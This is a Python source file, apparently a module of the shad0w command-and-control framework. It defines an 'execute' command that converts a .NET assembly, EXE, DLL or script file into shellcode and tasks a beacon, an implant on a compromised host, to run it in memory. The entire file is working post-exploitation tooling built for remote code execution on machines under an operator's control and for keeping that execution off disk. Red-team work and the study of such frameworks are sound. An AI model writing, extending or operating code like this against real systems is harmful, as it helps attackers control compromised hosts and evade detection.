#
# Execute a PE in memory via the beacon
#

import os

from lib import shellcode

__description__ = "Execute a .NET assembly, DLL, EXE, JS, VBS or XSL file in memory"
__author__ = "@_batsec_"
__type__ = "module"

# identify the task as shellcode execute
from lib.basecommand import BaseCommand

USERCD_EXEC_ID = 0x3000


class ExecuteCommand(BaseCommand):
    def __init__(self, args):
        BaseCommand.__init__(self, "execute", args)

    def get_usage(self):
        return """

Examples:

execute -f msg.exe -p hello world
execute -f msg.exe -c MyClass -m RunProcess -r v3
execute -f msg.dll
execute -f msg.js
"""

    def parse_parameters(self):
        self.parser.add_argument("-f", "--file", nargs='+', required=True,
                                 help=".NET assembly, EXE, DLL, VBS, JS or XSL file to execute in-memory")
        self.parser.add_argument("-p", "--param", nargs='+', required=False, help="Arguments to run the file with")
        self.parser.add_argument("-c", "--cls", required=False, help="Class name. Is required for .NET DLL")
        self.parser.add_argument("-m", "--method", required=False,
                                 help="Method or API name for DLL. Is required for .NET DLL")
        self.parser.add_argument("-r", "--runtime", required=False,
                                 help="CLR runtime version. MetaHeader used by default or v4.0.30319 if none available")
        self.parser.add_argument("-a", "--appdomain", required=False,
                                 help="AppDomain name to create for .NET. Randomly generated by default.")

    def run(self, shad0w):
        # give a message to the user
        if self.args.param is None:
            shad0w.debug.log(f"Executing: {''.join(self.args.file)}", log=True)
            file = ''.join(self.args.file)
            params = None
        else:
            shad0w.debug.log(f"Executing: \"{''.join(self.args.file)} {' '.join(self.args.param)}\"", log=True)
            file = ''.join(self.args.file)
            params = ' '.join(self.args.param)

        # make sure we are in the users current dir
        b4dir = os.getcwd()
        os.chdir("/root/shad0w/.bridge")

        # do we have arguments to pass to the function?
        if params is not None:
            b64_comp_data = shellcode.generate(file, self.args, params)
        else:
            b64_comp_data = shellcode.generate(file, self.args, None)

        if b64_comp_data is None:
            return

        # change the dir back
        os.chdir(b4dir)

        # set a task for the current beacon to do
        shad0w.beacons[shad0w.current_beacon]["task"] = (USERCD_EXEC_ID, b64_comp_data)

        # inform the user of the change
        shad0w.debug.log(f"Tasked beacon ({shad0w.current_beacon})", log=True)


def main(shad0w, args):

    # check we actually have a beacon
    if shad0w.current_beacon is None:
        shad0w.debug.log("ERROR: No active beacon.", log=True)
        return

    cmd = ExecuteCommand(args)
    if cmd.parse() is not False:
        cmd.run(shad0w)

    return
